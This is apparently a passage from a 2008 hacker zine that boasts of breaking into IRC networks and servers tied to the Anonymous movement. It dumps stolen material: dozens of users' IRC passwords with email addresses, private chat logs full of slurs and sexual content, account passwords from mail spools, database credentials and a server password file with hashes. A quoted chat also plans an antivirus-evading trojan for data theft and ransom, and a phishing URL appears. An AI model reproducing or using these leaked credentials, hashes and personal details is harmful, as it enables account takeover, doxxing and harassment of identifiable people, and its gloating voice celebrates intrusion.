ÿþ _/_/_/_/_/ 444444444 ~~~~~~ _/ _/_/ _/ _/_/ _/_/ 4;;;;;;;;4 Internet Superheroes ~ _/ _/_/_/_/ _/_/ _/ _/ 4;;;;;;;;;4 _/ _/ _/ _/ _/ 4;;;;44;;;;4 With great power _/_/_/_/_/ _/_/_/ _/ _/_/ 4;;;;4 4;;;;4 comes great responsibility. 4;;;;4 4;;;;4 .` .` .`.` 4;;;;4 4;;;;4 And great babes. -+;//. `;/;/- 4;;;;444444;;;;444 -++%+. `/+/+-` 4;;;;;;;;;;;;;;;;4 -o%/o; -++/+;` 4444444444;;;;;444 ______ __ .+0%+o- `/+;/+- 4;;;;4 | |.--.--.--.-----.-----.--| | /0%-oo;`` `+o;;o/` 4;;;;4 | -- || | | | | -__| _ | `+0/.+ossoo+/.`` ` `;//+++oo-.++- 444444 |______||________|__|__|_____|_____| -0%;`-/++ooooo+o/++oossso++/`.oo; -0%oossssssssssssssssyssssso+oss/ -- Table of 0wned -- -/0o/-/syyyyyyyyyyyyyyyo;;/oso/` ``;yhyyhhhydddddyyhhyhy/` ` 1. Anonymous -ohhs//dmy/ymmmmmy;omdo+yho-` 2. g00ns -symmho;` /Nm+.sNNNNmo.;mm+``;sddo//` 3. illmob oNNdo-` +Nd; ;NNNNh; .dNo` `-odNd; 4. Safety on the Internet oMm+` oNy- `sNNmo` `hNs. /mm/` 5. Robert Lemos /Nd; +Ns. -hds. `sNs. .dm/` 6. The Fed Jingle .md; +No` ..` `sNs. `dd/ 7. Comodo `om; ;ms. `yNo` .mh- 8. CF0 .do` .dy- `hd/ ;mo` 9. Blackcode ;y- `+m; .ms. `yy; 10. Trivia Security `/+` .ho` +h/ ;y/` 11. Pwnie Awards `-. ;d; .h+` ;;` 12. The Cult of the Dead Cow ` `;/` `oo. `` 13. Pwnee Awards S y m a n t e c - T h r e a t C o n --------------------------------------------- | Level 6: # rm -rf /* | | (//////////////////////////////////////6) | ---t h i s o n e g o e s u p t o s i x---^--- At last the 2008 show! The torch-song no-one ever sings! The curfew chorus line! The comedy divine! The bulging eyes of puppets, strangled by their strings. There's thrills and chills and girls galore, there's sing-songs and surprises! There's something here for everyone, reserve your seat today! We're happy to be have you back. Do we ever have some treats! We have some sweet articles. We rm'ed g00ns, we took a successful forray into Anonymous' world, we conquered and destroyed Blackcode, and, of course, we have the Cult of the Dead Cow owned and exposed. We top those off with lots of fun little owns and articles. Kick up your feet and settle in, this is going to take all night. zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 Anonymous zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0 /*********************************** * * We owned Anonymous. Although they sell you the idea that they cannot be owned * because they lack any structure, we owned anybody and anything involved that we * wanted to. They had a quote about being unable to kill a dragon with no head. We * just watch the dragon stumble around drunkenly and then we stab all its toes. * * We owned inky_'s main server, we owned partyvan.info, we owned a lot of people * and sites that were not worth including in this article. The anon scene is massive * and we owned whatever we wanted, and brought owns and lulz here for you. They get * a lot of press and talk a lot of shit (fucking annoying ED pages too), but all * they really are is the *chan community rebranded (currently) around the idea of * destroying the CoS. ^ban^ basically says that if you are a channer, you're anon, * and if you aren't, you aren't. * * A lot of the top guys have no respect for the morons dedicated to their cause, * and don't mind abusing or misleading them (to which they so easily follow). They * don't mind money either, as we will demonstrate. Something stinks about this, it * reminds me of *something*, if only I could remember what... * * The most talented people in Anonymous hack Scientology people. Think about that. * In the hacking world, that places them below the people who hacked * ethelsflowershop.com and above the people who DoS specialneeds.com. * * We could be dropping your names, addresses, and email addresses, but you're kids, * we do have some mercy. * * On with the show! * ***********************************/ // Hey it's that guy who tried to take over 4chan. Check out his IRC problems! Xyrix -> nickserv@anonymous.services: REGISTER 01110 x.yr.ix@hotmail.com Xyrix -> nickserv@anonymous.services: REGISTER Xyrix A1B2C x.yr.ix@hotmail.com Xyrix -> nickserv@anonymous.services: REGISTER Xyrix A1B2C3 x.yr.ix@hotmail.com Xyrix -> nickserv@anonymous.services: REGISTER Xyrix c0ncr3t3456 x.yr.ix@hotmail.com Xyrix -> nickserv@anonymous.services: REGISTER Xyrix lolol x.yr.ix@hotmail.com Xyrix -> nickserv@anonymous.services: REGISTER Xyrix maniclol x.yr.ix@hotmail.com Xyrix -> nickserv@anonymous.services: REGISTER help Speaking of which, it looks like we got a fan after rming g00ns: From: X Y <xyrix@live.com> To: superheroes@hushmail.com Date: Thu, 08 May 2008 19:03:20 +0100 This message is not encrypted, and is not digitally signed by . Hey, I was just wondering where you guys hung out normally. Irc or on silc? // Some select passes, starting with the [nig] bitches [nig]A_Non_E_Moose_ -> nickserv@anonymous.services: IDENTIFY qrrbrbirlbel [nig]Azure -> nickserv@anonymous.services: identify niceguyjin [nig]Azure -> nickserv@anonymous.services: identify nigguyjin [nig]Banhammer -> nickserv@anonymous.services: identify letmein [nig]CircleK -> nickserv: register bullpass1 [nig]Dart27 -> nickserv@anonymous.services: register midnight3 insurgentdart27@gmail.com [nig]Dravas -> nickserv: identify x8i9j9w [nig]Kazimir -> nickserv: identify wood.lake [nig]Moose -> nickserv@anonymous.services: identify qrrbrbirlbel [nig]Picatta -> NickServ: IDENTIFY lolcats8295 [nig]Skorski -> nickserv: identify internethate [nig]Spaise -> nickserv: identify 198956spaise [nig]Tycho -> NickServ: IDENTIFY auli711 [nig]banhammer -> nickserv@anonymous.services: identify letmein [nig]brambi -> NickServ: IDENTIFY exodus [nig]codenaur -> nickserv: REGISTER bobbin codenaur@omfgawd.org [nig]kando -> nickserv: identify qwerty [nig]kando -> nickserv: identify qwertyui [nig]msgmcmuffin -> nickserv: identify haX0rm3plz [nig]neG -> nickserv: identify fucktits [nig]shamrock -> nickserv@anonymous.services: identify jimmy123 [nig]spic -> nickserv: identify alphabette [nig]squid -> nickserv: identify w00tah // Some other passes of (mostly) relevant people in the anon scene inky_ -> nickserv: identify jblink Alyosha -> nickserv: identify CLEVERPASSWD1111 RickRollington -> nickserv: identify muddymuddykipz Rorschach -> nickserv@anonymous.services: IDENTIFY saltywalrus Tycho -> NickServ: IDENTIFY auli711 negroe -> nickserv: ghost TheShining jewslol negroe -> nickserv: identify aspadmd1 Kerx -> NickServ: identify hit13r Freeze` -> nickserv@anonymous.services: identify wtfuxsucks SpunkWang -> NickServ: IDENTIFY SpunkWang! trypta -> nickserv: identify moveon Nihilanth -> nickserv: identify bper231a Skorski -> nickserv@anonymous.services: ghost Deltantor slowpoke Muhu -> nickserv@anonymous.services: IDENTIFY niggershit7 Fail-chan -> nickserv@anonymous.services: identify cocks123 Delacroix -> nickserv: id lulzy1 f0rked -> nickserv@anonymous.services: id holyshit _meh_ -> NICKSERV: IDENTIFY iamroot innocuous -> nickserv: identify thepassword. innocuous -> nickserv: identify thenickpassword. innocuous -> nickserv: identify thenickpass. Ms_Mister -> nickserv@anonymous.services: identify farkman trapnest -> nickserv: identify aichii32 DrMengele -> NickServ: identify mofo47 bittwist -> nickserv@anonymous.services: identify sun42 Spaise -> nickserv: identify 1898956spaise nfinity0 -> NickServ: identify bluemonkey66 infinity0 -> NickServ: register Ivy saturation6666 infinity0x@gmail.com Cobrian -> Nickserv: identify Amiga32 cheezmasta_ -> nickserv@anonymous.services: IDENTIFY iamthecheese101 denvetta -> NickServ: IDENTIFY madman01 codenaur -> nickserv: IDENTIFY thaergaerg codenaur -> nickserv: identify bobbin codenaur -> nickserv: identify ilovecock // We can't make this shit up RickRollington -> chanserv: identify #insurgency h875n8w45h89 /* * * Let's start it off with #el/i/tes * */ ^ban^ -> #el/i/tes: We are True Anonymous. // And we are watching. // ^ban^ is one of the big names in anonymous.. "old anon".. check out his brilliant ideas! ^ban^ -> #el/i/tes: well, a suggestion for a board name ^ban^ -> #el/i/tes: I don't suggest we model after said board though ^ban^ -> #el/i/tes: http://4-ch.net/dqn/ ^ban^ -> #el/i/tes: The Elitist Superstructure of DQN ^ban^ -> #el/i/tes: (The Elitist Superstructure of TPN you might recognize, Nihilanth) // ^ban^ had his docs dropped already, big drama // And we finally know what old anon care about - money Kerx -> #el/i/tes: So we're not gonna sit on asses and have yet another person run our wiki and have him profit of us Kerx -> #el/i/tes: time once and for all to buy own server and do our shit on it and rent out space to make teh money Freeze` -> #el/i/tes: and how would that work Freeze` -> #el/i/tes: I'm all eyes here Kerx -> #el/i/tes: just how the guy running anonhost is doing his Kerx -> #el/i/tes: and we've got an easy way to secure money with the xenu raids Kerx -> #el/i/tes: make sure we have some true reps for the wiki go out and collect in person also on next raid // More money Kerx -> #el/i/tes: ^ban^ we already has a way to get a ton of dough // More money Picatta -> #el/i/tes: and we're putting a couple ads on it // More money Picatta -> #el/i/tes: We could do a proxy list and put ads on it // They are masters of technology and contemporary security issues TheShining -> #el/i/tes: but we can't tell anyone TheShining -> #el/i/tes: outside of this room TheShining -> #el/i/tes: i was thinking about us getting a trojan TheShining -> #el/i/tes: but modifying it TheShining -> #el/i/tes: completely TheShining -> #el/i/tes: until everything is changed to that virus scanners wont pick it up TheShining -> #el/i/tes: and distribute it to as many computers as possible TheShining -> #el/i/tes: and take as much personal information as possible TheShining -> #el/i/tes: and or hold the computers for ransom Freeze` -> #el/i/tes: hmm Freeze` -> #el/i/tes: if you could really do that Freeze` -> #el/i/tes: I'd help out TheShining -> #el/i/tes: the hardest part is to re-do the code on the trojan TheShining -> #el/i/tes: and we'd also have to keep this secret until we had at least 10,000 zombies // omg anonymous revealed 031811:fuckingfruit -> #el/i/tes: he's waiting for kakama (the leader of anonymous) to decide if to delete a wiki page or not // Kakama's site and yahoo phish page: http://login.yahoo.890m.com/yahoo.html // The illustrious ^ban^ explains that anon aren't hackers, they're channers, and if you're not a channer, you're not anon clorox -> ^ban^: you have alot of enemies...i am one of them clorox -> ^ban^: you were a faggot when we first came here to me ^ban^ -> clorox: there's a pretty simple explanation for that, you know ^ban^ -> clorox: I was here when partyvan was founded, and didn't like the idea of it abandoning the entire idea for it's founding :| ^ban^ -> clorox: The original idea was to have a network for anon, by anon, and only anon clorox -> ^ban^: what makes you anon ^ban^ -> clorox: but things didn't happen that way ^ban^ -> clorox: by anon I mean anyone from the *chan culture // IF YOU WANT TO BE ANON CLOROX YOU HAVE TO BE MORE CHAN /* * * Who wants to read the private chats of 711staff? * */ // I beg to differ jewlion -> #711staff: this is your only warning jewlion -> #711staff: what happens in here jewlion -> #711staff: stays in here // Ego lolihaetfire -> #711staff: Actually, christ, who are our other admins? inky_ -> #711staff: ^Bi am the other admin lolihaetfire -> #711staff: danke inky_ -> #711staff: why the hell does nobody acknowledge me inky_ -> #711staff: they're always like 'jewlion this' 'jewlion that' inky_ -> #711staff: if it wasn't for me this site wouldn't even exist // And rank syense -> #711staff: we sure will miss jewlion though. Kakama -> #711staff: WHAT Kakama -> #711staff: HUH? Kakama -> #711staff: JEWLION GO WHERE? syense -> #711staff: he has stepped down. syense -> #711staff: hes getting marrieda DaftWally -> #711staff: I assumed inky_ would take over syense -> #711staff: well he will [nig]Dravas -> #711staff: lol syense -> #711staff: hell be primary, with necro as second, and me as third DaftWally -> #711staff: can I be 4th? :3 [nig]Dravas -> #711staff: can i be 5th :3 syense -> #711staff: daftwally will probably be 4th // And more rank jewlion -> #711staff: if the site goes down jewlion -> #711staff: you'll have to be the one to take care of shit jewlion -> #711staff: Necrobilly and MisterCow are the only one's I'd trust with the site rite nao :| jewlion -> #711staff: but MisterCow isn't here // They're all about the money, too UnknownUser -> #711staff: I have a great idea UnknownUser -> #711staff: we could sell account levels UnknownUser -> #711staff: like say a platnum acount gets you unlimited access to all pictures [nig]ItsNotLupus -> #711staff: syense: wat UnknownUser -> #711staff: where as a normal account you can only look at 5 pics in a min // Money can buy you status jewlion -> #711staff: I gave admin to those who donated jewlion -> #711staff: and have been mods forever Dart27 -> #711staff: I was an accident. My mom said, "the ONE time me and your father had sex I got pregnant" Dart27 -> #711staff: Anyways, I've only made one thing in PHP. Dart27 -> #711staff: But it is cool. Tycho -> #711staff: why are you so hard over her anony anony -> #711staff: because i want my cock in her ass this summer Tycho -> #711staff: be sure to get vids anony -> #711staff: lewl NotDaftWally -> #711staff: yeah anony -> #711staff: i copy+pasted that to her :3 anony -> #711staff: on msn Tycho -> #711staff: i fucking hate you anony anony -> #711staff: KStrebchuk. Hey Shyra: Yes there is need to miss you (7802934048) says: anony -> #711staff: LOLOLOLOLOLOLOLOLOL anony -> #711staff: Phill says: anony -> #711staff: we're so having buttsex. anony -> #711staff: KStrebchuk. Hey Shyra: Yes there is need to miss you (7802934048) says: anony -> #711staff: No anal. Last time I tried anal I cried. lulzwhut -> #711staff: so lulzwhut -> #711staff: syense is like actually dead [nig]jewlion -> #711staff: yeah ECB -> #711staff: wut happened [nig]jewlion -> #711staff: fluid leak [nig]jewlion -> #711staff: in his car [nig]jewlion -> #711staff: dunno wat ECB -> #711staff: so i get his o:line?!?! [nig]jewlion -> #711staff: but it caused him to hit a semi Tycho -> #711staff: <Necrobilly> I shoulda backed everything up Tycho -> #711staff: WHEN YOURE POUNDING A GIRL FROM BEHIND Tycho -> #711staff: AND HER BACK ARCHES Tycho -> #711staff: THAT IS FUCKING HOT Howler -> #711staff: guys can do that too // 711staff paypal. Word to the wise: disable it Dravas -> #711staff: dravas@loliheaven.net inky_ -> #711staff: apu and aero are what host 711 anony -> #711staff: it felt like i stole keri from you anony -> #711staff: so I stopped talking to her andy -> #711staff: uh andy -> #711staff: lost stole her andy -> #711staff: from all of you /* * * There's this "blackops" group that tried to be something, but they just generate humour * */ MDK -> #blackops: yeh we need a pw thats easy to remember Spaise -> #blackops: umm what about Spaise -> #blackops: opsareblack Spaise -> #blackops: anything else we neeD? Spaise -> #blackops: ummm Spaise -> #blackops: flood protection MDK -> #blackops: how do you change the topic with this script? carbonlesz -> #blackops: ... Damnit, MDK. Stop capitalizing random letters of words in passwords. // He means the IRC channel mode Spaise -> #blackops: hmm cant have private set if its secret Spaise -> #blackops: grr carbonlesz -> #blackops: I should probably use a proxy. /* * * The guys running the wiki are incompetent * */ f0rked -> #wiki: oh, I thought it was ddosed or something denvetta -> #wiki: picatta's away somewhere denvetta -> #wiki: Well.. that's possible... but picatta assures me that the server is ddos proof infinity0 -> #wiki: WedTM: NO. nothing was hacked infinity0 -> #wiki: it was just an exploit in the mediawiki software Picatta -> #wiki: OH ASHI- Picatta -> #wiki: DHIT Picatta -> #wiki: /var is full Apon71 -> #wiki: Big problems with nameserver? Picatta -> #wiki: yes Apon71 -> #wiki: Ok, I trust you guys will fix it as always Apon71 -> #wiki: I've been away for a week, and am trying to catch up on what's happening Picatta -> #wiki: I can't really do shit until wedtm gets back Apon71 -> #wiki: Either the wiki got hacked Apon71 -> #wiki: Or one of you is trying to scare away newfags Ivy -> #wiki: Apon71: yeah it's someone trying to scare away newfags, i'm guessing Kakama, sigh januszeal -> #wiki: why is the wiki down januszeal -> #wiki: in before, after, and during slowpoke Picatta -> #wiki: well a-n-o-n -> #wiki: wtf... a-n-o-n -> #wiki: wiki down? Kakama -> #wiki: ATTENTION SHOPPERS infinity0 -> #wiki: Picatta: wiki down again... we should split up the SQL server vs. the webserver again denvetta -> #wiki: wiki down denvetta -> #wiki: can someone add it to /topi? // They actually had the most successful individual security strategy we came // across - the wiki was down for the majority of the time we had it owned. // Made it a big pain in the ass and mostly we didn't bother. /* * * #anti includes people behind ED. We were hoping oclet would be passing 0day * around, but the only thing he has or passes is drugs. He's mostly a failure * at this hacker thing but wins at lulz. * */ Talldog -> #anti: Having seen a woman be fucked by a horse, my pants feel strangely empty hep -> #anti: i saw women getting fucked by horses when i was still bbsing oclet -> #anti: ive seen .millions of girls getting fucked by horses just on accident sabotage -> #anti: i miss tacos sabotage -> #anti: i banged tacos like 10 times too Shortcat -> #anti: what happen oclet -> #anti: me2 sabotage -> #anti: i think she was on top and i started to cum oclet -> #anti: lets gang bang her sabotage -> #anti: and i threw her off oclet -> #anti: i searched facebook with my last name oclet -> #anti: theres a lotof bitches i might be related to who are bangin hep -> #anti: i am a one dick kind of girl hep -> #anti: having a vagina does not entitle you to autorespect // Just imagine more of the above, that's 100% of their conversations /* * * And basically everyone else in the community is a joker. Here are some random * quotes * */ paraphren -> _Shinigami_: Think she's hot? http://photos-c.ak.facebook.com/photos-ak-sf2p/v195/7/84/788288923/n788288923_3 51134_2156.jpg _Shinigami_ -> paraphren: fuck yes paraphren -> _Shinigami_: She's 18. Want a chance to fuck her? _Shinigami_ -> paraphren: yes pls paraphren -> _Shinigami_: heh _Shinigami_ -> paraphren: lol paraphren -> _Shinigami_: Well, first thing... don't mention any of this to ANYBODY. _Shinigami_ -> paraphren: k paraphren -> _Shinigami_: I will quite literally have to kill you. heh _Shinigami_ -> paraphren: lol k paraphren -> _Shinigami_: Secondly... I have to talk her into it. She's coming to Toronto to fuck me and wants to film it and shit, but I can let you have a go at her if you want. heh paraphren -> _Shinigami_: Anyway, she's a dirty girl and I'll probably be in the room too. So hope you're up for it. :p _Shinigami_ -> paraphren: lol, sounds fine to me _Shinigami_ -> paraphren: i can be the videographer if you want paraphren -> _Shinigami_: Seriously though... very important you tell NOBODY. haha CuNt -> Eric: w/e dude i do have a life other than computers CuNt -> Eric: and i guarentee its a shit load better than yours Eric -> CuNt: *rollseyes* Eric -> CuNt: sureeeee buddy CuNt -> Eric: sureeee buddy Eric -> CuNt: I make more in a week then u do in a year CuNt -> Eric: what do u make then dude Eric -> CuNt: I bang more chicks in a month that u ever will d0ct0r -> Eric: how did you join a haxs' group. Eric -> d0ct0r: obviously I knew me shit Eric -> d0ct0r: perl, vb, c, the basics Agent_Riding -> #Philadelphia: so gnome is like the explorer.exe of ubuntu TurbUlated -> anon080: <- sortofwant anon080 -> TurbUlated: oh. anon080 -> TurbUlated: your secret is safe mattheas -> #fallout: How do I add people mattheas -> #fallout: what's the command anon64 -> #fallout: /invite srgrnr -> #fallout: i want to go back to high school srgrnr -> #fallout: where i had friends. anon64 -> #fallout: high school was gay srgrnr -> #fallout: i had friends, dude. srgrnr -> #fallout: HOW THE FUCK srgrnr -> #fallout: DO I UNIGNORE SOMEONE srgrnr -> #fallout: ON IRC Phist -> #illmob: Spyd3r: jewlion is one of the top submitters on darknet Phist -> #illmob: 16 year old anon- turned compsec ethic expert Eugene -> HetGezicht: I don't have skills for ddos skinless -> Consumerwhore: feel like giving me a short explanation of how to get into a site? skinless -> Consumerwhore: i have php python and perl kayla -> codenaur: http://www.google.co.uk/search?hl=en&client=firefox-a&channel=s&rls=org.mozilla %3Aen-GB%3Aofficial&hs=BBT&q=warning%3A+incompatible+implicit+declaration+of+bu ilt-in+function+memcpy&btnG=Search&meta= kayla -> codenaur: memcpy is a function codenaur -> kayla: ah codenaur -> kayla: :D codenaur -> kayla: Thanks <3 // Shit this isn't very anonymous barbanon -> #socal: Gregg Hagglund up in Canada has been tagged as the leader there QED|Pi -> Machine-Gunner: I'll just say they're for Stephen.A Machine-Gunner -> QED|Pi: oh fuck Machine-Gunner -> QED|Pi: :P QED|Pi -> Machine-Gunner: Nice.. Machine-Gunner -> QED|Pi: Fuuuuuck Machine-Gunner -> QED|Pi: How did you know QED|Pi -> Machine-Gunner: it's your ident QED|Pi -> Machine-Gunner: Stephen.A.@desu-C67BC7B.carleton.ca // We owned this. It's between "Not worth mentioning" and "Not worth its own // section", so we drop it here define(SQLHOST, 'lulzhost.net'); //MySQL server address, usually localhost define(SQLUSER, 'img'); //MySQL user (must be changed) define(SQLPASS, '3ecaa923-4c0e-4526-9f44-c8a437d88bb5'); //MySQL user's password (must be changed) define(SQLDB, 'img'); //Database used by image board define(ADMIN_PASS, 'fgt'); //Janitor password (CHANGE THIS YO) // BANG ON - Give this guy a medal and put him in charge (except he's not dumb // enough to accept responsibility for this crap shoot) Orakio -> #programming: Anonymous = mostly idiots. Orakio -> #programming: Don't work directly with them. Orakio -> #programming: It's better to linger on the edges, find a good subgroup. Orakio -> #programming: I mean I hate scientology and I don't need to be in some group called anonymous to express that hate. Orakio -> #programming: Especially when they can't even renew their domain names. Orakio -> #programming: It's a liability to be too closely intergrated. // He has a 30-character nickserv password. No joke. GaiaKB -> #privateprivategaia: ServicesUp|Sun Mar 30 04:05:51 EDT 2008|~! Do NOT talk about #privateprivategaia GaiaKB -> #privateprivategaia: Something|Sun Mar 30 04:09:59 EDT 2008|~! Everything discussed here, stays here // ZF0 has magic powers that can read your conversations even (yes, even!!) if // you're using SSL! ian -> #spk: i pasted that in spk ian -> #spk: he cant know that ian -> #spk: i use ssl /* * * Picatta's spools took up a lot of space, so here's just some mails clean and * clear * */ /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ Dear Hitlerlol, Thank you for registering at the Megadeth Forums. Before we can activate your account one last step must be taken to complete your registration. Please note - you must complete this last step to become a registered member. You will only need to visit this url once to activate your account. To complete your registration, please visit this url: http://forums.megadeth.com/register.php?a=act&amp;u=69022&amp;i=27200622 <a href="http://forums.megadeth.com/register.php?a=act&amp;u=69022&amp;i=27200622" >America Online Users Please Visit Here to be Activated</a> **** Does The Above URL Not Work? **** If the above url does not work, please use your Web browser to go to: http://forums.megadeth.com/register.php?a=ver Please be sure not to add extra spaces. You will need to type in your username and activation number on the page that appears when you visit the url. Your Username is: Hitlerlol Your Activation ID is: 27200622 If you are still having problems signing up please contact a member of our support staff at webmaster@megadeth.com All the best, Megadeth Forums /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ Hi, You have requested to register the following nickname Picatta. Please type " /msg NickServ confirm u95oIIpO3 " to complete registration. If you don't know why this mail was sent to you, please ignore it silently. PLEASE DON'T ANSWER TO THIS MAIL! Rizon administrators. /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ Dear Picatta, Thank you for registering at Bodybuilding.com. Before we can activate your account one last step must be taken to complete your registration. Please note - you must complete this last step to become a registered member. You will only need to visit this url once to activate your account. To complete your registration, please visit this url: http://my.bodybuilding.com/register.php?a=3Dact&amp;u=3D13453212&amp;i=3D725985 83 <a href="http://partyvan.info/serialized/3D%22http://my.bodybuilding.com/register. php?a=3Dact&amp;u=3D13453212&amp;i=3D=" 72598583="">America Online Users Please Visit Here to be Activated</a> **** Does The Above URL Not Work? **** If the above url does not work, please use your Web browser to go to: http://my.bodybuilding.com/register.php?a=3Dver Please be sure to type it exactly as it appears. You will need to type in your Username and Activation ID on the page that appears when you visit the url. Your Username is: Picatta Your Activation ID is: 72598583 If you are still having problems signing up please contact a member of our support staff at support@bodybuilding.com. All the best, Bodybuilding.com /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ Welcome to forum.i2p Forums Please keep this email for your records. Your account information is as follows: ---------------------------- Username: Picatta Password: lolcats8295 ---------------------------- Please do not forget your password as it has been encrypted in our database and we cannot retrieve it for you. However, should you forget your password you can request a new one which will be activated in the same way as this account. Thank you for registering. /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ Welcome to Operation Clambake Message Board Forums Please keep this email for your records. Your account information is as follows: ---------------------------- Username: Picatta Password: loldongs ---------------------------- Your account is currently inactive, the administrator of the board will need to activate it before you can log in. You will receive another email when this has occured. Please do not forget your password as it has been encrypted in our database and we cannot retrieve it for you. However, should you forget your password you can request a new one which will be activated in the same way as this account. Thank you for registering. /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ Welcome to Enturbulation.org Forums Please keep this email for your records. Your account information is as f= ollows: ---------------------------- Username: Picatta Password: 86500144 ---------------------------- Your account is currently inactive. You cannot use it until you visit the= following link: /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ /* * * Now let's get to the box pwning. This is inky's server that hosts a handful of their shitty sites * */ drwxr-xr-x 4 root wheel 512 Feb 14 03:05 bbs.711chan.org drwxr-xr-x 4 root wheel 512 Feb 6 07:03 invalid.site drwxr-xr-x 4 httpd httpd 512 Jan 26 09:24 lt3c.info drwxr-xr-x 4 root wheel 512 Feb 1 15:41 maps.lt3c.info drwxr-xr-x 4 root wheel 512 Feb 19 01:42 no-tolerance.info drwxr-xr-x 4 root wheel 512 Feb 7 06:53 partyvanradio.org drwxr-xr-x 4 root wheel 512 Mar 7 15:13 untitledhosting.org drwxr-xr-x 4 root wheel 512 Feb 19 19:15 virtual.psychomatic.us drwxr-xr-x 4 root wheel 512 Mar 11 04:13 vzpp.untitledhosting.org lrwxr-xr-x 1 root wheel 10 Jan 26 09:24 www.lt3c.info -> lt3c.info/ lrwxr-xr-x 1 root wheel 18 Feb 19 01:43 www.no-tolerance.info -> no-tolerance.info/ lrwxr-xr-x 1 root wheel 18 Feb 7 06:53 www.partyvanradio.org -> partyvanradio.org/ lrwxr-xr-x 1 root wheel 20 Mar 7 15:13 www.untitledhosting.org -> untitledhosting.org/ $config['db_username'] = 'untitledhosting'; $config['db_password'] = '0DTtITKJ.yBD'; $dbhost = 'localhost'; $dbport = '3306'; $dbname = 'lt3c_phpbb'; $dbuser = 'root'; $dbpasswd = 'jblink'; // ^ that's the root pw too! And his nickserv pass! We rooted the box too fast // to even have to look up his nickserv pass $db_server = 'localhost'; $db_name = 'nt-server'; $db_user = 'nt-server'; $db_passwd = 'nm2KHZaWzwZbWrxT'; $db_prefix = 'smf_'; $config['dbms'] = 'mysql'; $config['db_hostname'] = 'localhost'; $config['db_username'] = 'untitledhosting'; $config['db_password'] = '0DTtITKJ.yBD'; $config['db_name'] = 'untitledhosting'; d><title>hacked by [seven11]</title></head><body bgcolor="black"> <div align="center" style="color:#FFFFFF"><h1>Hacked by <font color="red">[seven11]inky</font>, [PURGE] are a load of faggots</h1><br></div> </body></html> // ^ haha # shoutcast Password=imadj AdminPassword=partyvanorg # $FreeBSD: src/etc/master.passwd,v 1.40 2005/06/06 20:19:56 brooks Exp $ # root:$1$40oTVDjS$IXT5EmlwEhu84acMjAZ/J/:0:0::0:0:Root User:/root:/usr/bin/bash toor:*:0:0::0:0:Bourne-again Superuser:/root: daemon:*:1:1::0:0:Owner of many system processes:/root:/usr/sbin/nologin operator:*:2:5::0:0:System &:/:/usr/sbin/nologin bin:*:3:7::0:0:Binaries Commands and Source:/:/usr/sbin/nologin tty:*:4:65533::0:0:Tty Sandbox:/:/usr/sbin/nologin kmem:*:5:65533::0:0:KMem Sandbox:/:/usr/sbin/nologin games:*:7:13::0:0:Games pseudo-user:/usr/games:/usr/sbin/nologin news:*:8:8::0:0:News Subsystem:/:/usr/sbin/nologin man:*:9:9::0:0:Mister Man Pages:/usr/share/man:/usr/sbin/nologin sshd:*:22:22::0:0:Secure Shell Daemon:/var/empty:/usr/sbin/nologin smmsp:*:25:25::0:0:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin mailnull:*:26:26::0:0:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin bind:*:53:53::0:0:Bind Sandbox:/:/usr/sbin/nologin proxy:*:62:62::0:0:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin _pflogd:*:64:64::0:0:pflogd privsep user:/var/empty:/usr/sbin/nologin _dhcp:*:65:65::0:0:dhcp programs:/var/empty:/usr/sbin/nologin uucp:*:66:66::0:0:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico pop:*:68:6::0:0:Post Office Owner:/nonexistent:/usr/sbin/nologin www:*:80:80::0:0:World Wide Web Owner:/nonexistent:/usr/sbin/nologin nobody:*:65534:65534::0:0:Unprivileged user:/nonexistent:/usr/sbin/nologin ltsvadmin:$1$2fVGuwaC$7B57fBkwiTg9W1S5VKD5u1:1001:1001::0:0:User &:/home/ltsvadmin:/bin/sh zipservers:$1$A.lwsVBx$CmzJM6Wt3RX6jOvByFKSv0:1002:0::0:0:User &:/home/zipservers:/bin/sh inaki:*:1003:1003::0:0:Inaki:/home/inaki:/usr/local/bin/bash tremulous:*:1006:1006::0:0:User &:/home/tremulous:/usr/local/bin/bash trem-maps:*:1008:1008::0:0:User &:/home/trem-maps:/bin/sh ms-clanserver:$1$KkKxsoei$936d9IWKWrptqxTRqCcKw.:1009:1009::0:0:User &:/home/ms-clanserver:/usr/local/bin/bash mysql::88:88::0:0:MySQL Daemon:/nonexistent:/usr/local/bin/bash httpd::1015:1015::0:0:User &:/home/httpd:/usr/local/bin/bash mjestic::1017:1017::0:0:User &:/home/mjestic:/bin/sh alma-server::1018:1018::0:0:alma-server:/home/alma-server:/usr/local/bin/bash test-serv::1019:1019::0:0:test-serv:/home/test-serv:/usr/local/bin/bash negroe:$1$GJKcFbkI$eMgx8tGbbuAsIY7z4jrqT/:1020:1020::0:0:User &:/home/negroe:/usr/local/bin/bash helldive::1021:1021::0:0:helldive:/home/helldive:/usr/local/bin/bash relentless:$1$hzrBuTFU$LxjyfrPLRNO5orBe/pw8V.:1022:1022::0:0:User &:/home/relentless:/usr/local/bin/bash 